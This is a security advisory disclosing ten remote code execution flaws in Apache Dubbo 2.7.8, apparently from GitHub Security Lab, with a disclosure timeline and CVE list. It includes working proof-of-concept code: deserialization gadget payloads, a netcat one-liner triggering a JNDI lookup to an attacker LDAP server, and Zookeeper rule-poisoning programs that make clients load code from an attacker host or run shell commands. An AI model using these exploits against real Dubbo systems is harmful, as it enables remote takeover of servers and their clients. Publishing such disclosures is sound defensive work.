Coordinated Disclosure Timeline
- 2021-02-08: Reported to Apache Security Team security@apache.org and security@dubbo.apache.org
- 2021-03-01: Got acknowledgment from the Apache Dubbo team. Some issues were addressed by 2.7.9 version in the meantime. Apache Dubbo team claims Telnet has a mechanism to control whether to open or receive external network requests.
- 2021-03-01: Sent a PoC to show Telnet control mechanism are not applicable to the vector reported.
- 2021-05-28: Apache Dubbo notifies patches are released as part of 2.7.10 and 2.6.10
Summary
Multiple vulnerabilities have been found in Apache Dubbo enabling attackers to compromise and run arbitrary system commands on both Dubbo consumers and providers.
Product
Apache Dubbo
Tested Version
Dubbo v2.7.8
Details
Issue 1: Bypass CVE-2020-1948 mitigations (GHSL-2021-034)
CVE-2020-1948 describes a vulnerability where an attacker can send RPC requests with an unrecognized service or method name along with malicious parameter payloads. When the malicious parameter is deserialized, it will execute malicious code
Looking through the commit history, it seems that the patch involved several pull requests which also addressed a bypass which had been made public later:
1 - Prevent specific gadget chain by removing RPC invocation arguments when printing RPC exception PR
2 - Prevent RPC argument deserialization when service/method is not found PR
3 - Enforce parameter type check when processing calls to $invoke
, $invokeAsync
and $echo
PR
The initial issue (2) involved the deserialization of objects from the RPC request input stream even for non-existing services and methods.
The initial patch prevented the deserialization of the RPC invocation object for unknown services/methods. However, it was still allowed when calling the Generic
or Echo
services. An attacker could just use any of the Generic
or Echo
service method names ($invoke
, $invokeAsync
or $echo
) to reach the deserialization code and trigger the vulnerability. This bypass was addressed by enforcing the RPC call argument types to match those defined by the Generic
or Echo
service method parameter types (3).
However, as pointed out in this comment, the patch is not enough. Both $invoke
, $invokeAsync
and $echo
take java.lang.Object
arguments which allow an attacker to send any arbitrary gadget chain since all Java objects extend from java.lang.Object
.
In addition, since the gadget chain used to demonstrate this issue required a call to the toString
method on the deserialized object, an additional and maybe unrelated fix was introduced to prevent the call to the toString
method for RPC deserialized arguments in (1).
To date (v2.7.8) CVE-2020-1948 is still exploitable by either placing the gadget payload in a $echo
, $invoke
or $invokeAsync
argument and either:
A) use a gadget chain that does not require a later call to the toString
method or
B) relies on calls to the toString
method which have not been sanitized/stripped out of deserialized objects.
For A), it is possible to craft a HashMap
with colliding keys so that the deserialization will trigger the hashCode
method of each item stored in the HashMap
, and then use a helper gadget to trigger the dangerous toString
method. This way, the malicious code will get executed during the deserialization and will not require a later call to the toString
method on the deserialized object. This seems to be related with CVE-2020-11995
.
For B), it is possible to find other places in the code where the toString
method will be called on a deserialized object. For example, in addition to the RPC arguments, the RPC call attachments will also get deserialized from untrusted input:
Map<String, Object> map = in.readAttachments();
if (map != null && map.size() > 0) {
Map<String, Object> attachment = getObjectAttachments();
if (attachment == null) {
attachment = new HashMap<>();
}
attachment.putAll(map);
setObjectAttachments(attachment);
}
And they will be included in the Invocation.toString
method but they will not be cleared by the call to getInvocationWithoutData
at DubboProtocol:263
:
if (exporter == null) {
throw new RemotingException(channel, "Not found exported service: " + serviceKey + " in " + exporterMap.keySet() + ", may be version or group mismatch " +
", channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress() + ", message:" + getInvocationWithoutData(inv));
}
We can prepare use the following PoC request to trigger the toString
call and unroll the gadget chain:
JdbcRowSetImpl impl = new JdbcRowSetImpl();
impl.setDataSourceName(JNDI_URL);
impl.setMatchColumn("foo");
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, impl);
// 1.dubboVersion
out.writeString("2.7.8");
// 2.path
out.writeString("foo");
// 3.version
out.writeString("");
// 4.methodName
out.writeString("$echo");
// 5.methodDesc
out.writeString("Ljava/lang/Object;");
// 6.paramsObject
out.writeObject("foo");
// 7.map
HashMap attachments = new HashMap();
attachments.put("pwn", toStringBean);
out.writeObject(attachments);
Additionally we can reach a different toString
call which requires us to add an additional attachment to exercise the IS_CALLBACK_SERVICE_INVOKE
branch:
JdbcRowSetImpl impl = new JdbcRowSetImpl();
impl.setDataSourceName(JNDI_URL);
impl.setMatchColumn("foo");
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, impl);
// 1.dubboVersion
out.writeString("2.7.8");
// 2.path
out.writeString(SERVICE_NAME);
// 3.version
out.writeString("");
// 4.methodName
out.writeString("$echo");
// 5.methodDesc
out.writeString("Ljava/lang/Object;");
// 6.paramsObject
out.writeObject(toStringBean);
// 7.map
HashMap attachments = new HashMap();
attachments.put("_isCallBackServiceInvoke", "true");
out.writeObject(attachments);
There may be other places calling the deserialized argument’s toString
method such as in the TraceFilter
:
+ "(" + JSON.toJSONString(invocation.getArguments()) + ")" + " -> " + JSON.toJSONString(result.getValue())
Also, as explained in this blog post Hessian2Input.readUTF
may lead to Hessian2Input.readObject
and then a call to toString
on the deserialized object. readUTF
is used, for example, to read the dubbo version from the RPC invocation header, so sending the payload as the dubbo version will get it deserialized and triggered.
Impact
This issue may lead to pre-auth RCE
Issue 2: Bypass Hessian2 allowlist via alternative protocols (GHSL-2021-035)
As an additional opt-in security control Dubbo added support to enable an allowlist of types that can be deserialized.
However, other deserialization protocols have not been protected in a similar way. The serialization protocol is specified in the RPC call header and can be any of:
2 -> "hessian2"
3 -> "java"
4 -> "compactedjava"
6 -> "fastjson"
7 -> "nativejava"
8 -> "kryo"
9 -> "fst"
10 -> "native-hessian"
11 -> "avro"
12 -> "protostuff"
16 -> "gson"
21 -> "protobuf-json"
22 -> "protobuf"
25 -> "kryo2"
To prevent attackers from forcing a native Java deserialization, the serialization Id is checked against the value specified by the server provider. If the attacker tries to enforce any Java deserialization (java, nativejava or compactedjava) which was not configured by the service provider, the application will throw an Exception:
public static Serialization getSerialization(URL url, Byte id) throws IOException {
Serialization serialization = getSerializationById(id);
String serializationName = url.getParameter(Constants.SERIALIZATION_KEY, Constants.DEFAULT_REMOTING_SERIALIZATION);
// Check if "serialization id" passed from network matches the id on this side(only take effect for JDK serialization), for security purpose.
if (serialization == null
|| ((id == JAVA_SERIALIZATION_ID || id == NATIVE_JAVA_SERIALIZATION_ID || id == COMPACTED_JAVA_SERIALIZATION_ID)
&& !(serializationName.equals(ID_SERIALIZATIONNAME_MAP.get(id))))) {
throw new IOException("Unexpected serialization id:" + id + " received from network, please check if the peer send the right id.");
}
return serialization;
}
However, the rest of the protocols are allowed and can be enforced by the attacker and most of them can lead to remote code execution.
For example, native-hessian
is similar to hessian2
but does not support allowlists so even in the case that the developers would set an allowlist for hessian2
, attackers would still be able to change the protocol to native-hessian
and evade it.
In addition, both kryo
and kryo2
use the CompatibleKryo
class to get around the limitation of requiring a default constructor which greatly increases the number of gadgets that can be used by an attacker. In addition, Kryo will default to Java native serialization for Exceptions, InvocationHandlers and for any non java\..*
or javax\..*
classes that have no default constructor:
if (!ReflectionUtils.isJdk(type) && !type.isArray() && !type.isEnum() && !ReflectionUtils.checkZeroArgConstructor(type)) {
return new JavaSerializer();
}
Note that to use some of these deserializers, they need to be available in the classpath, either because the provider explicitly imports them or because they are transitively imported by other dependencies.
To change the default protocol, the attacker only needs to set the serialization id in the RPC request header:
// header.
byte[] header = new byte[16];
// set magic number.
Bytes.short2bytes((short) 0xdab, header);
// set request and serialization flag.
// 2 -> "hessian2"
// 3 -> "java"
// 4 -> "compactedjava"
// 6 -> "fastjson"
// 7 -> "nativejava"
// 8 -> "kryo"
// 9 -> "fst"
// 10 -> "native-hessian"
// 11 -> "avro"
// 12 -> "protostuff"
// 16 -> "gson"
// 21 -> "protobuf-json"
// 22 -> "protobuf"
// 25 -> "kryo2"
header[2] = (byte) (FLAG_REQUEST | 2);
Impact
This issue may lead to pre-auth RCE
Issue 3: Pre-auth RCE via multiple Hessian deserializations in the RPC invocation decoder (GHSL-2021-036)
In addition to the deserialization of the RPC call arguments reported in CVE-2020-1938, there are multiple other places where bits of the RPC request get deserialized:
For invocations not conforming with the Dubbo protocol magic number an attacker can place the deserialization payload in multiple places such as:
- Response HeartBeat
decodeHeartbeatData
->decodeEventData
->in.readEvent
->in.readObject
- Response
decodeResponseData
->in.readObject
- Response Event
decodeEventData
->in.readEvent
->in.readObject
- Request HeartBeat
decodeHeartbeatData
->decodeEventData
->in.readEvent
->in.readObject
- Request
decodeRequestData
->in.readObject
- Request Event
decodeEventData
->in.readEvent
->in.readObject
For invocations (conforming to Dubbo protocol magic number) the serialization payload can be placed in the following places:
- Ok Response Event
decodeEventData
->in.readEvent
->in.readObject
- Ok Response Result
DecodeableRpcResult.decode()
- Note: an attacker can send data in the order we want
handleValue
should lead toreadObject
even ifinvocation
is nullhandleException
leads toreadThrowable
which leads toreadObject
handleAttachment
leads toreadAttachments
which leads toreadObject
- Not Ok Response
in.readUTF
- Request Event
decodeEventData
->in.readEvent
->in.readObject
- Request
DecodeableRpcInvocatio.decode
leads to multiple deserializations such as the arguments one covered inCVE-2020-1938
, or the version or attachments ones mentioned previously.
For example an attacker can craft an RPC NOK response like:
// HEADER
byte[] header = new byte[16];
// SET MAGIC NUMBER
Bytes.short2bytes(MAGIC , header);
// HESSIAN SERIALIZED RESPONSE
header[2] = (byte) 2;
// NOK RESPONSE STATUS
header[3] = (byte) 0;
// ID
Bytes.long2bytes(666, header, 4);
// PAYLOAD
Object payload = generate_spring_payload();
ByteArrayOutputStream encodedPayload = direct_hessian_object(payload);
encodedPayloadSize = encodedPayload.size();
encodedPayloadBytes = encodedPayload.toByteArray();
// RESPONSE SIZE
Bytes.int2bytes(encodedPayloadSize, header, 12);
// WRITE HEADER AND RESPONSE
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(encodedPayloadBytes);
byte[] bytes = byteArrayOutputStream.toByteArray();
This RPC packet will reach the Not Ok Response which will trigger the vulnerability. Similarly RPC packets can be crafted for each scenario described above.
Impact
This issue may lead to pre-auth RCE
Issue 4: Pre-auth RCE via Java deserialization in the Generic filter (GHSL-2021-037)
Apache Dubbo by default supports generic calls to arbitrary methods exposed by provider interfaces.
These invocations are handled by the GenericFilter which will find the service and method specified in the first arguments of the invocation and use the Java Reflection API to make the final call. The signature for the $invoke
or $invokeAsync
methods is Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;
where the first argument is the name of the method to invoke, the second one is an array with the parameter types for the method being invoked and the third one is an array with the actual call arguments.
In addition, the caller also needs to set an RPC attachment specifying that the call is a generic call and how to decode the arguments. The possible values are:
- true
- raw.return
- nativejava
- bean
- protobuf-json
An attacker can control this RPC attachment and set it to nativejava
to force the java deserialization of the byte array located in the third argument:
} else if (ProtocolUtils.isJavaGenericSerialization(generic)) {
for (int i = 0; i < args.length; i++) {
if (byte[].class == args[i].getClass()) {
try (UnsafeByteArrayInputStream is = new UnsafeByteArrayInputStream((byte[]) args[i])) {
args[i] = ExtensionLoader.getExtensionLoader(Serialization.class)
.getExtension(GENERIC_SERIALIZATION_NATIVE_JAVA)
.deserialize(null, is).readObject();
} catch (Exception e) {
throw new RpcException("Deserialize argument [" + (i + 1) + "] failed.", e);
}
} else {
throw new RpcException(
"Generic serialization [" +
GENERIC_SERIALIZATION_NATIVE_JAVA +
"] only support message type " +
byte[].class +
" and your message type is " +
args[i].getClass());
}
}
}
For example, the following code will prepare an RPC request which will trigger the java deserialization sink:
// 1.dubboVersion
out.writeString("2.7.8");
// 2.path
out.writeString("org.apache.dubbo.samples.basic.api.DemoService");
// 3.version
out.writeString("");
// 4.methodName
out.writeString("$invoke");
// 5.methodDesc
out.writeString("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
// 6.paramsObject
out.writeString("sayHello");
out.writeObject(new String[] {"java.lang.String"});
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(<DESERIALIZATION PAYLOAD BYTE[]>);
out.writeObject(new Object[] {baos.toByteArray()});
// 7.map
HashMap map = new HashMap();
map.put("generic", "nativejava");
out.writeObject(map);
Note that to successfully exploit this issue, an attacker needs to know a service and method name to reach the GenericFilter
code (eg: org.apache.dubbo.samples.basic.api.DemoService
and sayHello
).
These names are trivial to get by connecting to the Dubbo port and issuing an unauthenticated ls
command:
❯ telnet localhost 20880
Trying ::1...
Connected to localhost.
Escape character is '^]'.
ls
PROVIDER:
org.apache.dubbo.samples.basic.api.DemoService
dubbo>cd org.apache.dubbo.samples.basic.api.DemoService
Used the org.apache.dubbo.samples.basic.api.DemoService as default.
You can cancel default service by command: cd /
dubbo>ls
Use default service org.apache.dubbo.samples.basic.api.DemoService.
org.apache.dubbo.samples.basic.api.DemoService (as provider):
sayHello
dubbo>
Impact
This issue may lead to pre-auth RCE
Issue 5: Pre-auth RCE via arbitrary bean manipulation in the Generic filter (GHSL-2021-038)
As we mentioned in issue #4, the GenericFilter
also supports additional ways of serializing the call arguments including: true
, raw.return
and bean
.
For the case where generic
attachment is true
or raw.return
, the PojoUtils.realize
method will be invoked:
if (StringUtils.isEmpty(generic)
|| ProtocolUtils.isDefaultGenericSerialization(generic)
|| ProtocolUtils.isGenericReturnRawResult(generic)) {
args = PojoUtils.realize(args, params, method.getGenericParameterTypes());
}
This method accepts an argument where the attacker can pass a HashMap
containing a special key to specify the class to be instantiated and populated.
For example, using the python client, we can instantiate a JndiConverter
bean (if the gadget is available in the classpath) and call its setAsText
setter which in turn will result in the invocation of a JNDI lookup call that can be used to run arbitrary Java code:
client.send_request_and_return_response(
service_name="org.apache.dubbo.samples.basic.api.DemoService",
method_name='$invoke',
param_types="Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;",
service_version="",
args=["sayHello", ["java.lang.String"], [{"class": "org.apache.xbean.propertyeditor.JndiConverter", "asText": "ldap://<attacker_server>/foo"}]],
attachment={"generic":"raw.return"})
In a similar way, we can set the generic
attachment to bean
to reach the following code:
} else if (ProtocolUtils.isBeanGenericSerialization(generic)) {
for (int i = 0; i < args.length; i++) {
if (args[i] instanceof JavaBeanDescriptor) {
args[i] = JavaBeanSerializeUtil.deserialize((JavaBeanDescriptor) args[i]);
} else {
throw new RpcException(
"Generic serialization [" +
GENERIC_SERIALIZATION_BEAN +
"] only support message type " +
JavaBeanDescriptor.class.getName() +
" and your message type is " +
args[i].getClass().getName());
}
}
}
In this case, JavaBeanSerializerUtil.deserialize
will also allow us to invoke default constructors of arbitrary classes and then call setters or set field values for the constructed objects.
For example, using the python client we can send the following request which will result into an arbitrary JNDI lookup call leading to RCE:
beanDescriptor=new_object(
'org.apache.dubbo.common.beanutil.JavaBeanDescriptor',
className="org.apache.xbean.propertyeditor.JndiConverter",
type=7,
properties={"asText": "ldap://<attacker_server>/foo"}
)
return client.send_request_and_return_response(
service_name="org.apache.dubbo.samples.basic.api.DemoService",
method_name='$invoke',
param_types="Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;",
service_version="",
args=["sayHello", ["java.lang.String"], [beanDescriptor]],
attachment={"generic":"bean"})
Impact
This issue may lead to pre-auth RCE
Issue 6: Pre-auth RCE via arbitrary bean manipulation in the Telnet handler (GHSL-2021-039)
The Dubbo main service port can also be used to access a Telnet Handler which offers some basic methods to collect information about the providers and methods exposed by the service and it can even allow to shutdown the service. This endpoint is unprotected.
Additionally a provider method can be invoked using the invoke
handler. This handler uses a safe version of FastJson to process the call arguments. However, the resulting list is later processed with PojoUtils.realize
which as we saw above can be used to instantiate arbitrary classes and invoke its setters. Even though FastJson is properly protected with a default blocklist, PojoUtils.realize
is not and an attacker can leverage that to achieve remote code execution:
echo "invoke org.apache.dubbo.samples.basic.api.DemoService.sayHello({'class':'org.apache.xbean.propertyeditor.JndiConverter','asText': 'ldap://attacker/foo'})" | nc -i 1 dubbo_server 20880
Impact
This issue may lead to pre-auth RCE
Issue 7: RCE on customers via Tag route poisoning (Unsafe YAML unmarshaling) (GHSL-2021-040)
Apache Dubbo support Tag routing which will enable a customer to route the request to the right server. These rules are loaded into the configuration center (eg: Zookeeper, Nacos, …) and retrieved by the customers when making a request in order to find the right endpoint.
When parsing these YAML rules, Dubbo customers will use SnakeYAML library to load the rules which by default will enable calling arbitrary constructors:
public class TagRuleParser {
public static TagRouterRule parse(String rawRule) {
Constructor constructor = new Constructor(TagRouterRule.class);
TypeDescription tagDescription = new TypeDescription(TagRouterRule.class);
tagDescription.addPropertyParameters("tags", Tag.class);
constructor.addTypeDescription(tagDescription);
Yaml yaml = new Yaml(constructor);
TagRouterRule rule = yaml.load(rawRule);
rule.setRawRule(rawRule);
if (CollectionUtils.isEmpty(rule.getTags())) {
rule.setValid(false);
}
rule.init();
return rule;
}
}
An attacker with access to the configuration center (Zookeeper supports authentication but its is disabled by default and in most installations, and other systems such as Nacos do not even support authentication) will be able to poison a tag rule file so when retrieved by the consumers, it will get RCE on all of them.
For example, the following program will deploy a Tag Route rule which, when downloaded by a customer, will download a Jar file from an attacker-controlled server and run any payload stored in the static class initializers:
public static void main(String[] args) throws Exception {
client = CuratorFrameworkFactory.newClient(zookeeperHost + ":2181", 60 * 1000, 60 * 1000, new ExponentialBackoffRetry(1000, 3));
client.start();
String path = "/dubbo/config/dubbo/" + provider_app_name + ".tag-router";
String rule = "---\n" +
"tags:\n" +
"- name: pwn\n" +
" addresses:\n" +
" - !!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"" + attackerHost + "\"]\n" +
" ]]\n" +
" ]";
try {
if (client.checkExists().forPath(path) == null) {
client.create().creatingParentsIfNeeded().forPath(path);
}
client.setData().forPath(path, rule.getBytes());
} catch (Exception e) {
e.printStackTrace();
}
}
Impact
This issue may lead to pre-auth RCE
Issue 8: RCE on customers via Condition route poisoning (Unsafe YAML unmarshaling) (GHSL-2021-041)
In a similar way, ListenableRouter
in conjunction with ConditionRuleParser
are also vulnerable:
public class ConditionRuleParser {
public static ConditionRouterRule parse(String rawRule) {
Constructor constructor = new Constructor(ConditionRouterRule.class);
Yaml yaml = new Yaml(constructor);
ConditionRouterRule rule = yaml.load(rawRule);
rule.setRawRule(rawRule);
if (CollectionUtils.isEmpty(rule.getConditions())) {
rule.setValid(false);
}
return rule;
}
}
For example, the following program will deploy a Condition Route rule which, when downloaded by customers, will download a Jar file from an attacker-controlled server and run any payload stored in the static class initializers:
public static void main(String[] args) throws Exception {
client = CuratorFrameworkFactory.newClient(zookeeperHost + ":2181", 60 * 1000, 60 * 1000, new ExponentialBackoffRetry(1000, 3));
client.start();
String path = "/dubbo/config/dubbo/" + consumer_app_name + ".condition-router";
String rule = "---\n" +
"conditions:\n" +
" - !!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"" + attackerHost + "\"]\n" +
" ]]\n" +
" ]";
try {
if (client.checkExists().forPath(path) == null) {
client.create().creatingParentsIfNeeded().forPath(path);
}
client.setData().forPath(path, rule.getBytes());
} catch (Exception e) {
e.printStackTrace();
}
System.in.read();
if (client.checkExists().forPath(path) == null) {
client.create().creatingParentsIfNeeded().forPath(path);
}
client.setData().forPath(path, "".getBytes());
}
Impact
This issue may lead to pre-auth RCE
Issue 9: RCE on customers via Script route poisoning (Nashorn script injection) (GHSL-2021-042)
Apache Dubbo supports Script routing which will enable a customer to route the request to the right server. These rules are loaded into the configuration center (eg: Zookeeper, Nacos, …) and retrieved by the customers when making a request in order to find the right endpoint.
When parsing these rules, Dubbo customers will use the JRE ScriptEngineManager
to load an ScriptEngine
and run the rule provided by the script which by default will enable executing arbitrary Java code:
public ScriptRouter(URL url) {
this.url = url;
this.priority = url.getParameter(PRIORITY_KEY, SCRIPT_ROUTER_DEFAULT_PRIORITY);
engine = getEngine(url);
rule = getRule(url);
try {
Compilable compilable = (Compilable) engine;
function = compilable.compile(rule);
} catch (ScriptException e) {
logger.error("route error, rule has been ignored. rule: " + rule +
", url: " + RpcContext.getContext().getUrl(), e);
}
}
...
public <T> List<Invoker<T>> route(List<Invoker<T>> invokers, URL url, Invocation invocation) throws RpcException {
try {
Bindings bindings = createBindings(invokers, invocation);
if (function == null) {
return invokers;
}
return getRoutedInvokers(function.eval(bindings));
} catch (ScriptException e) {
logger.error("route error, rule has been ignored. rule: " + rule + ", method:" +
invocation.getMethodName() + ", url: " + RpcContext.getContext().getUrl(), e);
return invokers;
}
}
An attacker with access to the Registry (Zookeeper supports authentication but its is disabled by default and in most installations, and other systems such as Nacos do not even support authentication) will be able to poison a script route so that when it is retrieved by the consumers, it will get RCE on all of them.
For example, the following program will deploy a Script Route rule which, when download by the customers, will create a file named /tmp/pwned
in the customer’s file system.
public static void main(String[] args) throws Exception {
// settings
String service_name = "org.apache.dubbo.samples.basic.api.DemoService";
// https://mbechler.github.io/2019/03/02/Beware-the-Nashorn/
String payload = "this.engine.factory.scriptEngine.eval('java.lang.Runtime.getRuntime().exec(\\\"touch /tmp/pwned\\\")');";
RegistryFactory registryFactory = ExtensionLoader.getExtensionLoader(RegistryFactory.class).getAdaptiveExtension();
Registry registry = registryFactory.getRegistry(URL.valueOf("zookeeper://127.0.0.1:2181"));
registry.register(URL.valueOf("script://0.0.0.0/" + service_name + "?category=routers&dynamic=false&rule=" + URL.encode("(function route(invokers) { " + payload + " return invokers; } (invokers))")));
}
Impact
This issue may lead to pre-auth RCE
Issue 10: RCE on providers via Configuration poisoning (Unsafe YAML unmarshaling) (GHSL-2021-043)
The providers are similarly vulnerable since they can read dynamic configurations from the registry and then AbstractConfiguratorListener
will use ConfigParser
to parse the YAML configuration files:
public class ConfigParser
...
private static <T> T parseObject(String rawConfig) {
Constructor constructor = new Constructor(ConfiguratorConfig.class);
TypeDescription itemDescription = new TypeDescription(ConfiguratorConfig.class);
itemDescription.addPropertyParameters("items", ConfigItem.class);
constructor.addTypeDescription(itemDescription);
Yaml yaml = new Yaml(constructor);
return yaml.load(rawConfig);
}
...
}
Similarly to the vulnerabilities on the customer side, the provider one also involves using an unsafe configuration of the SnakeYaml
parser. Even though Dubbo enforces a root type (in this case ConfiguratorConfig
) it is still possible to instantiate arbitrary types by calling their default or custom constructors for any nested objects.
For example, the following program will upload a malicious configuration to the Registry which will create a file named /tmp/pwned
in the provider’s file system.
public static void main(String[] args) throws Exception {
client = CuratorFrameworkFactory.newClient(zookeeperHost + ":2181", 60 * 1000, 60 * 1000, new ExponentialBackoffRetry(1000, 3));
client.start();
String path = "/dubbo/config/dubbo/" + provider_app_name + ".configurators";
String rule = "---\n" +
"configs:\n" +
" - !!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"" + attackerHost + "\"]\n" +
" ]]\n" +
" ]";
try {
if (client.checkExists().forPath(path) == null) {
client.create().creatingParentsIfNeeded().forPath(path);
}
client.setData().forPath(path, rule.getBytes());
} catch (Exception e) {
e.printStackTrace();
}
System.in.read();
if (client.checkExists().forPath(path) == null) {
client.create().creatingParentsIfNeeded().forPath(path);
}
client.setData().forPath(path, "".getBytes());
}
Impact
This issue may lead to pre-auth RCE
CVE
- CVE-2021-25641: GHSL-2021-035 (2)
- CVE-2021-30179: GHSL-2021-037 (4), GHSL-2021-038 (5)
- CVE-2021-32824: GHSL-2021-039 (6)
- CVE-2021-30180: GHSL-2021-040 (7), GHSL-2021-041 (8), GHSL-2021-043 (10)
- CVE-2021-30181: GHSL-2021-042 (9)
Credit
These issues were discovered and reported by GHSL team member @pwntester(Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2021-{034,035,036,037,038,039,040}
in any communication regarding this issue.